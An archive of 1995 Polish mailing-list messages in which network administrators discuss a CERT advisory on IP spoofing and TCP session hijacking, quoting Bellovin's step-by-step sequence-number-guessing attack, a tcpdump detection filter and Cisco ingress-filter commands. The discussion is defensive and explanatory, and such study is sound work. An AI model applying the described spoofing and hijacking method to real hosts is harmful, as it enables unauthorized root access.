through a login or terminal : > session; the intruder hijacks the connection after the user has : > completed the authentication to the remote location; the remote site is : > now compromised. (See Section I for examples of vulnerable : > configurations.) To tez jest powazna sprawa - to z kolei uderza w uzytkownikow uzywajacych np. telneta z roznych dziwnych miejsc (np. konferencji itp.), gdzie nie ma gwarancji, ze host nie jest juz "nadgryziony". : > If you monitor packets using network-monitoring software such as : > netlog, look for a packet on your external interface that has both its : > source and destination IP addresses in your local domain. If you find : > one, you are currently under attack. Netlog is available by anonymous Swietny pomysl, tylko na ogol do swojego ZEWNETRZNEGO interfejsu (lacza do NASK) uzytkownik (abonent NASK) nie ma dostepu. Stawiac 2 routery jeden za drugim? Absurd. : > Another way to detect IP spoofing is to compare the process accounting : > logs between systems on your internal network. If the IP spoofing : > attack has succeeded on one of your systems, you may get a log entry on : > the victim machine showing a remote access; on the apparent source : > machine, there will be no corresponding entry for initiating that : > remote access. Zwlaszcza jak sie ma 100+ maszyn, i nie pod jednolita administracja, przeszukiwanie logow jest fascynujace. I jeszcze 1000+ PC, gdzie logow w ogole nie ma. -- Szymon Sokol -- Network Manager U U M M M M University of Mining and Metallurgy, Computer Center U U MM MM MM MM ave. Mickiewicza 30, 30-059 Krakow, POLAND U U M M M M M M M M TEL. +48 12 338100 EXT. 2885 FAX +48 12 338907 UUUU M M M M M M WWW page: http://www.uci.agh.edu.pl/~szymon/ From RESZ@PLUMCS11.UMCS.LUBLIN.PL Thu Jan 26 14:35:11 1995 Received: from plumcs11.umcs.lublin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA07416; Thu, 26 Jan 95 14:34:32 +0100 Return-Path: Message-Id: <9501261334.AA07416@zsku.p.lodz.pl> Received: from PLUMCS11.UMCS.LUBLIN.PL by PLUMCS11.UMCS.LUBLIN.PL (IBM VM SMTP V2R2) with BSMTP id 3907; Thu, 26 Jan 95 14:40:17 CET Received: from PLUMCS11 (RESZ) by PLUMCS11.UMCS.LUBLIN.PL (Mailer R2.10 ptf000) with BSMTP id 3906; Thu, 26 Jan 95 14:40:16 CET Date: Thu, 26 Jan 95 14:01:56 CET From: Andrzej Resztak Subject: Re: Sun FlashBack 1171: CERT Advisory: IP Spoofing Attacks and Hijacked Terminals To: polip@zsku.p.lodz.pl In-Reply-To: Message of Thu, 26 Jan 95 13:47:04 +0100 from On Thu, 26 Jan 95 13:47:04 +0100 Szymon Sokol said: >Tomasz Kokowski (kokowski@CS.PUT.Poznan.PL) wrote: > >: Przesylam kopie magazynu FlashBack (Sun) traktujacego o ostatniej serii >: wlaman. *To nie bylo po source routing*. Nie wiem co oznacza stwierdzenie *To nie bylo po source routing*, jesli dobrze rozumiem ta nazwe to *source routing spoofing* jest kluczowym elementem w tej sprawie. >Innymi slowy: nie pomoze 'no ip source route' na routerze, i nie pomoze >ZADEN TCP wrapper. Nie ma bowiem sposobu, zeby TCP wrapper na docelowej >maszynie odroznil pakiet falszywy od prawdziwego. To musi robic router. >Przyznaje sie bez bicia, ze jeszcze nie wiem, jak zmusic Cisco, zeby to robilo. >Ale sie dowiem. W wersji 9.17 dokumentacji chyba nic nie ma. Nowszej dokumentacji nie posiadam. >Oczywiscie, jesli zrodlo falszywego pakietu jest na lokalnej sieci, to router >nic nie pomoze, ale jak masz na lokalnej sieci hosty, ktorym nie mozesz ufac, >to i tak i tak kanal (ze wzgledu na mozliwosc nasluchu hasel). > >: > ftp.research.att.com:/dist/internet_security >: > >: > Bellovin paper: ipext.ps.Z >: > Morris paper: 117.ps.Z >Znalazlem, przeczytalem. Jesli bylo cos interesujacego lub malo znanego to napisz, jesli znajdziesz czas :-). > >: > Services that are vulnerable to the IP spoofing attack include >: > >: > o SunRPC & NFS >: > >: > o BSD UNIX "r" commands >: > >: > o anything wrapped by the tcp daemon wrappers - site dependent; check >: > your configuration >: > >: > o X windows >: > >: > o other applications that use source IP addresses for authentication >No i to jest rzeczywiscie problem. Moge nie uzywac .rhosts, ale nie uzywac >NFS i X Windows to jest niemozliwosc. Znam takich co nie uzywaja :-). Jako root loguje sie zawsze tylko lokalnie, a NFS jest bez root-access. Poza tym wrazliwe sa niemal wszystkie serwisy. Problem tylko w tym, ze "intruz" moze miec duze klotpoty z wyslaniem 'lewego' pakietu w odpowiednim momencie i zawierajacym niekorzystne informacje. Ale to zalezy od jego wyczucia i szczescia. > >: > In taking over the existing connections, intruders can bypass one-time >: > passwords and other strong authentication schemes by tapping the >: > connection after the authentication is complete. For example, a >: > legitimate user connects to a remote site through a login or terminal >: > session; the intruder hijacks the connection after the user has >: > completed the authentication to the remote location; the remote site is >: > now compromised. (See Section I for examples of vulnerable >: > configurations.) >To tez jest powazna sprawa - to z kolei uderza w uzytkownikow uzywajacych >np. telneta z roznych dziwnych miejsc (np. konferencji itp.), gdzie nie ma >gwarancji, ze host nie jest juz "nadgryziony". "Remote host" nie musi byc "nadgryziony", zeby atak sie udal. Rozumiem, ze jesli jestes w sesji telnet ktos wysyla pakiet wpisujac Twoj source IP oraz source i destination socket numbers zawierajacy 'Enter - ciag komend do wykonania - Enter' i jesli jestes w prompcie shell-a te komendy zostana wykonane, a jesli jestes w edytorze to zobaczysz co ktos chcial zrobic. Problem jest ze zgadnieciem numerow socketow. Jesli masz konto na ktoryms z koncow sesji telnet w ktora checesz wejsc to nie ma problemu. Zwykle informacje o aktywnych socketach sa dostepne dla wszystkich, ale jesli nie masz konta na zadnym koncu to pozostaje tylko strzelanie na oslep??? Oczywiscie tak samo mozesz probowac wejsc w istniejace sesje X-Windows,NFS czy IRC. Rozumiem wiec, ze zaden z uzytkownikow nie moze sie czuc bezpieczny, ale tak bylo zawsze i to powinni wiedziec. Jako administrator czuje sie za to w 100% bezpieczny - przynajmniej w tym temacie. Bo ze dwa dni temu Krzysio mi napisal, ze mam zbior /usr/local/bin/autoreply set-userid to root. I to rzeczywiscie byl problem. Andrzej From news.polip@cyber.ict.pwr.wroc.pl Thu Jan 26 14:41:50 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA07634; Thu, 26 Jan 95 14:38:37 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id OAA18206 for polip@zsku.p.lodz.pl; Thu, 26 Jan 1995 14:27:15 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 26 Jan 1995 13:15:19 GMT From: rzm@dain.oso.chalmers.se (Rafal Maszkowski) Message-Id: <3g8797$ojd@Waldemar.mat.uni.torun.pl> Organization: OSO Sender: news.polip@cyber.ict.pwr.wroc.pl References: <9501251418.aa00755@wega.ics.tup.edu.pl>, <3g83in$sr8@galaxy.uci.agh.edu.pl> Subject: Re: Sun FlashBack 1171: CERT Advisory: IP Spoofing Attacks and Hijacked Terminals Szymon Sokol (szymon@uci.agh.edu.pl) wrote: > Tomasz Kokowski (kokowski@CS.PUT.Poznan.PL) wrote: > : Przesylam kopie magazynu FlashBack (Sun) traktujacego o ostatniej serii > : wlaman. *To nie bylo po source routing*. > No, teraz sie troche wyjasnia - rzeczywiscie, sprawa jest nieco powazniejsza > niz pierwotnie myslalem: > : > To gain access, intruders create packets with spoofed source IP > : > addresses. This exploits applications that use authentication based on > : > IP addresses and leads to unauthorized user and possibly root access on > : > the targeted system. It is possible to route packets through > : > filtering-router firewalls if they are not configured to filter > : > incoming packets whose source address is in the local domain. It is > : > important to note that the described attack is possible even if no > : > reply packets can reach the attacker. > Innymi slowy: nie pomoze 'no ip source route' na routerze, i nie pomoze > ZADEN TCP wrapper. Nie ma bowiem sposobu, zeby TCP wrapper na docelowej > maszynie odroznil pakiet falszywy od prawdziwego. To musi robic router. > Przyznaje sie bez bicia, ze jeszcze nie wiem, jak zmusic Cisco, zeby to robilo. Czyli source-routing tych pakietow nie jest potrzebny? > : > If you monitor packets using network-monitoring software such as > : > netlog, look for a packet on your external interface that has both its > : > source and destination IP addresses in your local domain. If you find > : > one, you are currently under attack. Netlog is available by anonymous > Swietny pomysl, tylko na ogol do swojego ZEWNETRZNEGO interfejsu (lacza > do NASK) uzytkownik (abonent NASK) nie ma dostepu. Stawiac 2 routery jeden > za drugim? Absurd. A to? From: jgp@socrates.ceas.rochester.edu (Jim Prescott) Newsgroups: alt.security,comp.security.misc,comp.security.unix Subject: Re: CERT advisory -- details [...] tcpdump -l ether src A:A:A:A:A:A and ! src host B.B.B.B and src net C.C.C where A is the ethernet address of your router port, B is the IP address of your router and C is the network that your router routers to you. [...] R. -- Rafal Maszkowski rzm@oso.chalmers.se http://www.mat.uni.torun.pl/~rzm Opinia publiczna powinna byc zaalarmowana swoim nieistnieniem - St. J. Lec From yppawlus@cyf-kr.edu.pl Thu Jan 26 15:05:10 1995 Received: from nms.cyf-kr.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA08858; Thu, 26 Jan 95 15:02:57 +0100 Return-Path: Received: from mg.cyf-kr.edu.pl (mg.cyf-kr.edu.pl [149.156.2.8]) by nms.cyf-kr.edu.pl (8.6.9/8.6.9) with ESMTP id PAA27170 for ; Thu, 26 Jan 1995 15:05:30 +0100 From: Jerzy Pawlus Received: (yppawlus@localhost) by mg.cyf-kr.edu.pl (8.6.9/8.6.9) id PAA03661; Thu, 26 Jan 1995 15:06:16 +0100 Date: Thu, 26 Jan 1995 15:06:16 +0100 Message-Id: <199501261406.PAA03661@mg.cyf-kr.edu.pl> To: polip@zsku.p.lodz.pl In-Reply-To: <3g83in$sr8@galaxy.uci.agh.edu.pl> (szymon@uci.agh.edu.pl) Subject: Wiecej o IP spoofing z dzisiejszej grupy comp.security.misc Wczesnie skomentuje fragment listu Szymona > Innymi slowy: nie pomoze 'no ip source route' na routerze, i nie pomoze > ZADEN TCP wrapper. Nie ma bowiem sposobu, zeby TCP wrapper na docelowej > maszynie odroznil pakiet falszywy od prawdziwego. To musi robic router. > Przyznaje sie bez bicia, ze jeszcze nie wiem, jak zmusic Cisco, zeby to robilo. > Ale sie dowiem. Poczawszy od wersji 9.21 Cisco umozliwia utworzenie filtru na adres zrodlowy dla pakietu WCHODZACEGO do interfejsu. Nie rozwiazuje sprawy filtr dla pakietow wychodzacych z interfejsu. Komenda tworzaca access-liste: access-list access-list-number {permit|deny} source Komenda uaktywniajaca access-liste dla interfejsu: ip access-group access-list-number in Ponizej zalaczam list szerzej omawiajacy sprawe: > > From: edwin@cs.ruu.nl (Edwin Kremer) > Subject: Re: CERT announcement re: packet spoofing (New York Times story) > Message-ID: > Sender: usenet@cs.ruu.nl (Six O'Clock News) > Organization: Utrecht University, Dept. of Computer Science > References: <3g2rt1$sje@news.sprintlink.net> > Date: Tue, 24 Jan 1995 21:32:48 GMT > Lines: 28 > > In <3g2rt1$sje@news.sprintlink.net> paul@sprintlink.net (Paul Ferguson) writes: > > | Steven Bellovin (smb@research.att.com) wrote: > | > | > If your router has more than 2 interfaces and you want to permit > | > routing between the inside interfaces, output filtering doesn't work; > | > you've thrown away information. > | > | I'm afraid I don't follow. If each interface belongs to different IP > | networks (nonsubnetted), outbound access-lists should work without any > | problems. > > That's what I thought at first glance too :=/ The problem with OUTbound > filters is that once a packets is in the router and being decided upon on > which interface to deliver, you don't know where it came from. Suppose you > have a 3 interface router that connects two internal networks A and B to the > Internet and the two internal nets have some sort of trust (or just accept > packets from each other): once a packet with source src=A,dst=B is in the > router, the OUTbound filter for B accepts it because it was told to accept > packets from net A. However, at that point you don't remember if the packet > was actually coming in from the A interface, or is a spoof from the third > interface... > > --[ Edwin ]-- > -- > Edwin H. Kremer, systems- and network administrator. > Dept. of Computer Science, Utrecht University, The Netherlands [WHOIS: ehk3] > ----------------------- http://www.cs.ruu.nl/~edwin --------------------------- > Kolejny artykul wyjasnia pokrotce techniczny aspekt sprawy: > From: smb@research.att.com (Steven Bellovin) > Subject: CERT advisory -- details > Message-ID: > Sender: netnews@ulysses.homer.att.com (Shankar Ishwar) > Organization: AT&T Bell Laboratories > Date: Tue, 24 Jan 1995 02:42:23 GMT > Lines: 95 > > There's a great deal of confusion about what kind of attack the > recent CERT advisory is referring to. Let me try to clear things > up. > > The specific attack is a sequence number guessing attack, originally > described by R.T. Morris in Bell Labs Computer Science Technical > Report #117, February 25, 1985. I generalized (and publicized) > the attack in my 1989 paper ``Security Problems in the TCP/IP > Protocol Suite'', Computer Communications Review 19:2, April 1989, > pp. 32-48. Both his attack and my generalizations are special > cases of a more general attack, IP source address spoofing, in > which the attacker illegitimately uses a trusted machine's IP > address in conjunction with some protocol (such as rsh) that does > address-based authentication. > > In order to understand the particular case of sequence number > guessing, you have to look at the 3-way handshake used in the TCP > open sequence. Suppose client machine A wants to talk to rsh server > B. It sends the following message: > > A->B: SYN, ISSa > > That is, it sends a packet with the SYN (``synchronize sequence > number'') bit set and an initial sequence number ISSb. > > B replies with > > B->A: SYN, ISSb, ACK(ISSa) > > In addition to sending its own initial sequence number, it acknowledges > A's. Note that the actual numeric value ISSa must appear in the > message. > > A concludes the handshake by sending > > A->B: ACK(ISSb) > > The initial sequence numbers are intended to be more or less random. > More precisely, RFC 793 specifies that the 32-bit counter be > incremented by 1 in the low-order position about every 4 microseconds. > Instead, Berkeley-derived kernels increment it by 128 every second, > and 64 for each new connection. Thus, if you open a connection to > a machine, you know to a very high degree of confidence what sequence > number it will use for its next connection. And therein lies the > attack. > > X first opens a real connection to its target B -- say, to the mail > port or the TCP echo port. This gives ISSb. It then impersonates > A and sends > > A->B: SYN, ISSx > > B's response to X's original SYN > > B->A: SYN, ISSb', ACK(ISSx) > > goes to the legitimate A, about which more anon. X never sees that > message but can still send > > A->B: ACK(ISSb') > > using the predicted value for ISSb'. If the guess is right -- and > usually it will be -- B's rsh server thinks it has a legitimate > connection with A, when in fact X is sending the packets. X can't > see the output from this session, but it can execute commands as > more or less any user -- and in that case, the game is over and X > has won. > > There is a minor difficulty here. If A sees B's message, it will > realize that B is acknowledging something it never sent, and will > send a RST packet in response to tear down the connection. There > are a variety of ways to prevent this; the easiest is to wait until > the real A is down (possibly as a result of enemy action, of course). > > There are several possible defenses. Most obvious is to take > advantage of topological knowledge: don't let packets purporting > to be from a local machine arrive on an outside interface. That > works very well if you only trust local machines. If trust is > granted to outside machines (say, via .rhosts files) and if the > attacker can identify the patterns of trust (which isn't that > difficult), the topological solution won't work. In that case, > you have to block all protocols that use TCP and address-based > authentication. (UDP is a separate can of worms.) > > Best of all, don't use address-based authentication; it's a disaster > waiting to happen. The only real solution is cryptographic > authentication. > > --Steve Bellovin > > For further information, see the two papers cited above: > > ftp://ftp.research.att.com/dist/internet_security/117.ps.Z > ftp://ftp.research.att.com/dist/internet_security/ipext.ps.Z > > Oraz kolejny, ktory mowi o tym ktore uslugi sa zagrozone: > From: barmar@nic.near.net (Barry Margolin) > Newsgroups: alt.security,comp.security.misc,comp.security.unix > Subject: Re: CERT advisory -- details > Date: 25 Jan 1995 19:24:45 -0500 > Organization: NEARnet, Cambridge, MA > Lines: 54 > Message-ID: <3g6q4d$97b@tools.near.net> > References: <3g416n$ebf@tbone.biol.scarolina.edu> > NNTP-Posting-Host: tools.near.net > > In article <3g416n$ebf@tbone.biol.scarolina.edu> dean@tbone.biol.scarolina.edu (Dean Pentcheff) writes: > >OK, but I'm in the middle. I am responsible for the administration of > >a small collection of Internet-connected machines (Suns and others). I > >have precisely no control over router policies here. How should I > >proceed? > > You may not have "control", but surely as a client of theirs you have some > influence. Talk to the people who control the routers and request that > they install appropriate filters there. > > >- What remote access procedures actually use the targeted form > > of authentication? > > Telnet? > > FTP? > > rsh? > > others? > > The protocols that normally make use of this are rsh (which encompasses rcp > and rdist), rlogin, lpd, NNTP, X11 and NFS (when checking that the client > is authorized in the /etc/exports file). HTTP daemons can also be > configured to do authorization by client address. If you use tcp_wrappers, > it's common to use source addresses in its allow/deny rules. And firewalls > based on packet filters are often configured to pass traffic from > "friendly" hosts, so all machines that are presumably protected by such a > firewall are potentially at risk on any protocol. > > >- What are "risky" procedures? > > Any logins at all, even from the console? > > Logins from within the local net? > > Logins from remote sites? > > Just about any network application may be risky. If you assume that only > people within your site can telnet to your machines, you're wrong. > > >- Short of getting my institution to rework all its routers (yeah, > > right), what can I do, as a lone administrator, to minimize the risks > > from this "new" form of attack? > > Don't use any applications that depend on "trusted" client hosts -- only > use network protocols that demand a password or other secure authentication > mechanism. Of course, this is likely to be infeasible -- the list of > protocols I gave above includes some that have become heavily entrenched in > many environments, and some don't normally provide any good authentication > mechanisms. > > However, the institution doesn't need to rework *all* its routers, just the > ones that connect it to the Internet. Those routers need to screen out > packets coming in from the Internet with source addresses on your > institution's networks. > -- > > Barry Margolin > BBN Internet Services Corp. > barmar@near.net > > Moja opinia, ktora juz wczesnie wyrazilem jest taka, ze najprawdopodbniej bezposredni atak z uwagi na techniczne problemy nam nie grozi. Tym niemniej nalezy rozwazyc: 1. Zastosowanie filtrow na routerach (Ograniczy IP Spoofing do hostow lokalnych) 2. Zakaz stosowania plikow .rhosts i /etc/hosts.equiv Zmusi "r" komendy do stosowania autoryzacji w oparciu o haslo. Jurek From piotrwi Thu Jan 26 15:56:50 1995 Received: by zsku.p.lodz.pl (5.65/25-eef) id AA10035; Thu, 26 Jan 95 15:55:42 +0100 Return-Path: Date: Thu, 26 Jan 1995 15:55:37 +0100 (MEZ) From: Piotr Wilk To: polip@zsku.p.lodz.pl Subject: Re: kolejna seria wlaman; bezpieczenstwo sieci Message-Id: Organization: Samodzielny Zaklad Sieci Komputerowych Politechniki Lodzkiej Address: 90-924 Lodz; ul. Stefanowskiego 18/22 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII ---------- Forwarded message ---------- >From news.polip@cyber.ict.pwr.wroc.pl Wed Jan 25 15:20:14 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA12359; Wed, 25 Jan 95 15:18:52 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id PAA29516 for polip@zsku.p.lodz.pl; Wed, 25 Jan 1995 15:17:18 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 25 Jan 1995 14:54:33 +0100 From: szymon@uci.agh.edu.pl (Szymon Sokol) Message-Id: <3g5l6p$l49@galaxy.uci.agh.edu.pl> Organization: University of Mining & Metallurgy Sender: news.polip@cyber.ict.pwr.wroc.pl References: <199501251242.MAA03582@hebe.umcs.lublin.pl> Subject: Re: kolejna seria wlaman; bezpieczenstwo sieci Krzysztof Mlynarski (krzysio@hebe.umcs.lublin.pl) wrote: : Co wiecej... wiekszosc doniesien i paniki dotyczy systemow SUN, w : ktorych wlamywacz moze instalowac ladowalne moduly do kernela i zdrowo : nimi namieszac. Tak wiec dyskusja kreci sie wokol SUN/OS. Niestety nie : ma prawie zadnych informacji o maszynach innych firm (poza routerami, : ale to inna sprawa). Osobiscie bardzo jestem ciekaw, jak to wyglada na : Silicon Graphics (SGI) - bo u nas sa glownie takie maszyny. Nie jest dla mnie jasne, co ma IP spoofing do modulow ladowalnych. Wydaje mi sie ze na te forme ataku wszelkie systemy powinny byc jednakowo [nie]wrazliwe. Nie jestem takze pewien, czy dobrze rozumiem cala idee. Jezeli chodzi o 'source routing' to wylaczenie go na routerze powinno byc trywialne (na Cisco komenda 'no ip source route'). Jezeli zas o cos wiecej, to o co? -- Szymon Sokol -- Network Manager U U M M M M University of Mining and Metallurgy, Computer Center U U MM MM MM MM ave. Mickiewicza 30, 30-059 Krakow, POLAND U U M M M M M M M M TEL. +48 12 338100 EXT. 2885 FAX +48 12 338907 UUUU M M M M M M WWW page: http://www.uci.agh.edu.pl/~szymon/ From news.polip@cyber.ict.pwr.wroc.pl Thu Jan 26 17:01:51 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA11437; Thu, 26 Jan 95 16:58:37 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id QAA20411 for polip@zsku.p.lodz.pl; Thu, 26 Jan 1995 16:47:19 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 26 Jan 1995 15:50:49 +0100 From: szymon@uci.agh.edu.pl (Szymon Sokol) Message-Id: <3g8cs9$p6u@galaxy.uci.agh.edu.pl> Organization: University of Mining & Metallurgy Sender: news.polip@cyber.ict.pwr.wroc.pl References: <9501251418.aa00755@wega.ics.tup.edu.pl>, <3g83in$sr8@galaxy.uci.agh.edu.pl>, <3g8797$ojd@Waldemar.mat.uni.torun.pl> Subject: Re: Sun FlashBack 1171: CERT Advisory: IP Spoofing Attacks and Hijacked Terminals Rafal Maszkowski (rzm@dain.oso.chalmers.se) wrote: : Czyli source-routing tych pakietow nie jest potrzebny? Nie jest. : A to? : From: jgp@socrates.ceas.rochester.edu (Jim Prescott) : Newsgroups: alt.security,comp.security.misc,comp.security.unix : Subject: Re: CERT advisory -- details : [...] : tcpdump -l ether src A:A:A:A:A:A and ! src host B.B.B.B and : src net C.C.C : where A is the ethernet address of your router port, B is the IP address : of your router and C is the network that your router routers to you. : [...] A to jest niezla idea, ale to jest tylko wykrywanie, a nie zapobieganie - co mi z tego, ze zarejestruje wlamanie, jesli moze po 5 minutach juz nie bedzie logu, a nawet calego filesystemu... :-( -- Szymon Sokol -- Network Manager U U M M M M University of Mining and Metallurgy, Computer Center U U MM MM MM MM ave. Mickiewicza 30, 30-059 Krakow, POLAND U U M M M M M M M M TEL. +48 12 338100 EXT. 2885 FAX +48 12 338907 UUUU M M M M M M WWW page: http://www.uci.agh.edu.pl/~szymon/ From krzysio@hebe.umcs.lublin.pl Thu Jan 26 20:01:52 1995 Received: from hebe.umcs.lublin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA14175; Thu, 26 Jan 95 19:58:37 +0100 Return-Path: Received: (from krzysio@localhost) by hebe.umcs.lublin.pl (8.6.9/8.6.9) id TAA09070 for polip@zsku.p.lodz.pl; Thu, 26 Jan 1995 19:04:57 GMT From: Krzysztof Mlynarski Message-Id: <199501261904.TAA09070@hebe.umcs.lublin.pl> Subject: Re: kolejna seria wlaman; bezpieczenstwo sieci To: polip@zsku.p.lodz.pl Date: Thu, 26 Jan 1995 20:04:57 +0100 (MET) In-Reply-To: <3g6204$61t@ghost.mimuw.edu.pl> from "Andrzej K. Brandt" at Jan 25, 95 07:23:49 pm X-Mailer: ELM [version 2.4 PL22] Content-Type: text Content-Length: 3062 Andrzej K. Brandt wrote: > > Krzysztof Mlynarski (krzysio@hebe.umcs.lublin.pl) wrote: > > : > Nie przeciw temu atakowi. tcp_wrapper jest w tym wypadku bezradny. > : > > > : Akurat nie jest to prawda. Polecam dyskusje na liscie firewalls. > : Tam wlasnie TCP Wraper jest wskazywany, jako jedyny dzialajacy tool, > : bedacy w stanie chocby czesciowo zabezpieczyc nas przed spoofingiem. Co > : wiecej autorzy postingow wskazuja takze na potrzebe instalacji ident'a > : (RFC 931). > > Jedni pisza, ze jest bezradny. Expert pisze nam, ze jest jedyny dzialajacy. > To jak to jest do diabla? > Do diabla.. to jest wlasnie problem.. hehe.. sprawa nawet jest juz troche smieszna. Dzis np. pisza na listach dyskusyjnych, ze jedynym wyjsciem jest kodowanie przesylanych po sieci informacji, (na poziomie IP) - chociaz juz czytalem jeden posting, ktorego autor twierdzi, ze to nic nie da, bo cos tam... i tutaj dosc metnie argumentuje, ze ktos moze stosowac key-guessing, i ze wszystko jest o kant potluc jeno sie zastrzelic. W chwili obecnej widzimy jednynie zamet i prawde mowiac najpowazniejsze zrodla informacji (takie, jak CERT) podaja coraz to inne cudowne sposoby, po czym na drugi dzien okazuje sie, ze ktos udowadnia, ze to nic nie daje. W zasadzie pozostaje jedno (to jest moja prywatna opinia) - odczekac moment, az sie sytuacja uspokoi, a vendorzy wypuszcza odpowiednie patch'e. Obecnie nawet nie mamy mozliwosci zasymulowania takiego ataku (nie udalo mi sie zdobyc jeszcze dzialajacego oprogramowania do takich rzeczy). Codziennie czytam wszystko co pisza ludzie na ten temat i jak dotad widze kilka tendencji: - panika i fizyczne odlaczenie od sieci komputerow, - wiara w TCP Wrappers + Ident, - wiara w blokowanie na poziomie routera (konkretnie pisza o CISCO), - wiara w kryptografie (swIPe), - twierdzenie, ze to wszystko to tylko panikowanie, i ze warte to jest tyle, ile warte byly ostrzezenia o "wirusie rozpowszechnianym via mail". Jak dotad do nas sie nikt tak nie wlamal ... :) Wydaje mi sie, ze kodowanie danych jest oczywiscie najlepsza metoda (prawda Eminie? :)), tym bardzie, ze juz to testujemy jakis czas - niestety jak dotad w dosc ograniczonej i prymitywnej implementacji (jeszcze nie dziala poza swiatem KA9Q). Kilka dni temu Szymon Sokol mowil mi, ze u nich tez pracuja nad czyms takim.... Poki co jednak wole miec TCP Wrappers + Ident - bo to akurat jest dostepne "na rynku". :) Pozdrawiam, -Krzysio -- +---------------------------------------------------------------+ | E-mail: =Unix/Network Security Expert= | | krzysio@hebe.umcs.lublin.pl IRC: Krzysio Radio: SQ5ASM | | root@hebe.umcs.lublin.pl Voice phone: +48-81-37-56-76 | | 3W home page: http://hebe.umcs.lublin.pl/Krzysio/Krzysio.html | | | | "You can't kill ... what was killed before ..." | | - unknown vampire | +---------------------------------------------------------------+ From krzysio@hebe.umcs.lublin.pl Thu Jan 26 20:05:23 1995 Received: from hebe.umcs.lublin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA14337; Thu, 26 Jan 95 20:04:28 +0100 Return-Path: Received: (from krzysio@localhost) by hebe.umcs.lublin.pl (8.6.9/8.6.9) id TAA09162 for polip@zsku.p.lodz.pl; Thu, 26 Jan 1995 19:10:58 GMT From: Krzysztof Mlynarski Message-Id: <199501261910.TAA09162@hebe.umcs.lublin.pl> Subject: Re: kolejna seria wlaman; bezpieczenstwo sieci To: polip@zsku.p.lodz.pl Date: Thu, 26 Jan 1995 20:10:57 +0100 (MET) In-Reply-To: <3g62n3$61t@ghost.mimuw.edu.pl> from "Andrzej K. Brandt" at Jan 25, 95 07:40:28 pm X-Mailer: ELM [version 2.4 PL22] Content-Type: text Content-Length: 2084 Andrzej K. Brandt wrote: > > Krzysztof Mlynarski (krzysio@hebe.umcs.lublin.pl) wrote: > > : Co wiecej... wiekszosc doniesien i paniki dotyczy systemow SUN, w > : ktorych wlamywacz moze instalowac ladowalne moduly do kernela i zdrowo > : nimi namieszac. Tak wiec dyskusja kreci sie wokol SUN/OS. Niestety nie > : ma prawie zadnych informacji o maszynach innych firm (poza routerami, > : ale to inna sprawa). Osobiscie bardzo jestem ciekaw, jak to wyglada na > : Silicon Graphics (SGI) - bo u nas sa glownie takie maszyny. > > Mi sie wydaje, ze panika wokol Sunow wynika jednak bardziej z ich > popularnosci, niz jakiejs specjalnym braku zabezpiczen. Faktycznie, sendmail > ichni byl i jest dziurawy jak ser, faktycznie, nfs bywal powodem roznych > brzydkich rzeczy. Jesli jednak idzie o spoofing, to wydaje mi sie (jako ze > jestem lamer, a nie expert), ze jakiej odmiany unixa uzywamy nie ma > wielkiego znaczenia... > Wydaje mi sie Eminie, ze jednak nie doczytales do konca o czym tam pisalem. Admini SUN'ow boja sie glownie ladowania przez "Spoofingowcow" :) - ze ich tak nazwe - jakichs zhackowanych modulow do kernela. Zauwaz, ze nie wszystkie Unix'y pozwalaja na tego typu operacje, tak wiec nie na kazdej maszynie mozna tyle namieszac. Jesli zas chodzi o informacje i aktualne metody obrony przed spoofingiem, to w koncu miesiaca postaram sie rozeslac cos konkretnego na ten temat. Obecnie zbieram wszystko co sie da.... Pozdrawiam, -Krzysio -- +---------------------------------------------------------------+ | E-mail: =Unix/Network Security Expert= | | krzysio@hebe.umcs.lublin.pl IRC: Krzysio Radio: SQ5ASM | | root@hebe.umcs.lublin.pl Voice phone: +48-81-37-56-76 | | 3W home page: http://hebe.umcs.lublin.pl/Krzysio/Krzysio.html | | | | "You can't kill ... what was killed before ..." | | - unknown vampire | +---------------------------------------------------------------+ From news.polip@cyber.ict.pwr.wroc.pl Thu Jan 26 21:20:09 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef) id AA16096; Thu, 26 Jan 95 21:18:35 +0100 Return-Path: Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id VAA28234 for polip@zsku.p.lodz.pl; Thu, 26 Jan 1995 21:12:02 +0100 Received: from NEWS GATEWAY by cyber with netnews for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl) To: polip@zsku.p.lodz.pl Date: 26 Jan 1995 20:03:39 GMT From: lis@asic.ict.pwr.wroc.pl (Jarek Lis) Message-Id: <3g8v6r$2s2@sun1000.ci.pwr.wroc.pl> Organization: Technical Univeristy of Wroclaw Sender: news.polip@cyber.ict.pwr.wroc.pl References: <199501261904.TAA09070@hebe.umcs.lublin.pl> Subject: Re: kolejna seria wlaman; bezpieczenstwo sieci Czy ktos moglby mnie oswiecic jak sie taki 'IP-spoofing' atak przeprowadza? Rozumiem, ze sie wysyla pakiet podajac falszywy adres nadawcy. Ten pakiet do adresata zwykle dociera (no coz, jakby tu powiedziec, Internet na tym sie opiera), tylko nie rozumiem co dalej. Daje nam to lacznosc w jedna strone, i jakos nie potrafie sobie wyobrazic wykorzystania tego. Jarek. From news.polip@cyber.ict.pwr.wroc.pl Thu Jan 26 21:41:53 1995 Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP 